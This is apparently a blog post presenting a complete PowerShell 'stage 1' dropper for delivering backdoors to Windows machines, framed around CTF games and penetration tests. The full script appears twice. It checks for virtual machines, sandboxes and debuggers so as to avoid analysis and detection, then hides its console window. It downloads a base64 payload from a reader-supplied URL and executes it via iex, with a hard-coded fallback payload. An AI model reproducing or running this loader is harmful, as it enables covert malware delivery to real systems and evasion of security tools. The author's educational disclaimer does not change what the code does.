Lately, I have been playing a lot of hacking games and capture the flags (CTF’s) a large chunk of my time was spent on Linux boxes and I realized I needed a reliable dropper for my backdoors into Windows systems. I set out to start writing some code to accomplish this task. I added a few features that are not needed in most CTF environments but are still nice to have if I ever need to use the script on a live Pen Test.
**Please only use this for educational purposes, I do not take any responsibility for your actions or damage caused by this script use it at your own risk.**
For a live test let’s do some checks
This is not something you would want to use in a CTF since most of the time we are in a virtual environment. When running a live pen test we may want to make sure our code doesn’t end up in some virtual environment to be analyzed. There are many ways to check this, we are going to use a few simple ones that should not be flagged by most security vendors as they also have perfectly normal uses.
# Check windows updates >= 50
if((GWMI -Class win32_reliabilityRecords -Filter "Sourcename = 'Microsoft-Windows-WindowsUpdateClient'").Count -lt 51) {
Exit;
}
# Check logical disk size > 50 gigs
if((GWMI -Class Win32_LogicalDisk | Measure-Object -Sum Size | Select-Object -Expand Sum) / 1073741824 -lt 51) {
Exit;
}
# Check for debug context
if (Test-Path Variable:PSDebugContext) {
Exit;
}
# Check RAM > 2 gigs
if ((Get-Ciminstance Win32_OperatingSystem).TotalVisibleMemorySize/1048576 -lt 2) {
Exit;
}
# Check for Virtual Box
If ((Get-Process | Select-String -Pattern vboxservice).count -gt 0) {
Exit;
}
# Check if we are in a VM
if ((Get-WmiObject -Q "Select Model From Win32_ComputerSystem").Model -eq "Virtual Machine") {
Exit;
}
If any of these conditions are met we will exit the code without going any further. Since this is written in PowerShell it can easily be seen it doesn’t look great by looking at the source code but should not be flagged by detection engines.
The file dropper code
$payloadBase64 = "QWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uV2luZG93cy5Gb3JtczsKJEZvcm0gPSBOZXctT2JqZWN0IHN5c3RlbS5XaW5kb3dzLkZvcm1zLkZvcm07CiRGb3JtLlRleHQgPSAiU2FtcGxlIEZvcm0iOwokTGFiZWwgPSBOZXctT2JqZWN0IFN5c3RlbS5XaW5kb3dzLkZvcm1zLkxhYmVsOwokTGFiZWwuVGV4dCA9ICJUaGlzIGZvcm0gaXMgdmVyeSBzaW1wbGUuIjsKJExhYmVsLkF1dG9TaXplID0gJFRydWU7CiRGb3JtLkNvbnRyb2xzLkFkZCgkTGFiZWwpOwokRm9ybS5TaG93RGlhbG9nKCk7Cg==";
$payloadURL = "http://";
Add-Type -Name Window -Namespace Console -MemberDefinition '
[DllImport("Kernel32.dll")]
public static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow);
';
[Console.Window]::ShowWindow([Console.Window]::GetConsoleWindow(), 0);
$onl = Test-Connection -BufferSize 32 -Count 1 -ComputerName 8.8.8.8 -Quiet;
if ($onl) {
$payloadBase64 = (New-Object "Net.Webclient").DownloadString($payloadURL);
}
iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payloadBase64)));
Two things you need to change here are the values of “$payloadBase64” and “$payloadURL”. The value of payloadBase64, base64 encoded. The information fetched from the payloadURL should also be base64 encoded. Once again for CTF this is overkill but is a nice feature to have for live tests, if we can not access the internet we will use the hard-coded payload if we have internet access we will use the downloaded version.
In this example, the hard-coded payload just creates a simple user interface. You will need to write or find your own payload to use I can’t do it all for you. Below is the full code:
# Check windows updates
if((GWMI -Class win32_reliabilityRecords -Filter "Sourcename = 'Microsoft-Windows-WindowsUpdateClient'").Count -lt 51) {
Exit;
}
# Check logical disk size
if((GWMI -Class Win32_LogicalDisk | Measure-Object -Sum Size | Select-Object -Expand Sum) / 1073741824 -lt 51) {
Exit;
}
# Check for debug context
if (Test-Path Variable:PSDebugContext) {
Exit;
}
# Check RAM
if ((Get-Ciminstance Win32_OperatingSystem).TotalVisibleMemorySize/1048576 -lt 2) {
Exit;
}
# Check for Virtual Box
If ((Get-Process | Select-String -Pattern vboxservice).count -gt 0) {
Exit;
}
# Check if we are in a VM
if ((Get-WmiObject -Q "Select Model From Win32_ComputerSystem").Model -eq "Virtual Machine") {
Exit;
}
$payloadBase64 = "QWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uV2luZG93cy5Gb3JtczsKJEZvcm0gPSBOZXctT2JqZWN0IHN5c3RlbS5XaW5kb3dzLkZvcm1zLkZvcm07CiRGb3JtLlRleHQgPSAiU2FtcGxlIEZvcm0iOwokTGFiZWwgPSBOZXctT2JqZWN0IFN5c3RlbS5XaW5kb3dzLkZvcm1zLkxhYmVsOwokTGFiZWwuVGV4dCA9ICJUaGlzIGZvcm0gaXMgdmVyeSBzaW1wbGUuIjsKJExhYmVsLkF1dG9TaXplID0gJFRydWU7CiRGb3JtLkNvbnRyb2xzLkFkZCgkTGFiZWwpOwokRm9ybS5TaG93RGlhbG9nKCk7Cg==";
$payloadURL = "http://";
Add-Type -Name Window -Namespace Console -MemberDefinition '
[DllImport("Kernel32.dll")]
public static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow);
';
[Console.Window]::ShowWindow([Console.Window]::GetConsoleWindow(), 0);
$onl = Test-Connection -BufferSize 32 -Count 1 -ComputerName 8.8.8.8 -Quiet;
if ($onl) {
$payloadBase64 = (New-Object "Net.Webclient").DownloadString($payloadURL);
}
iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payloadBase64)));
I hope you can use this stage 1 file dropper in your next capture the flag game!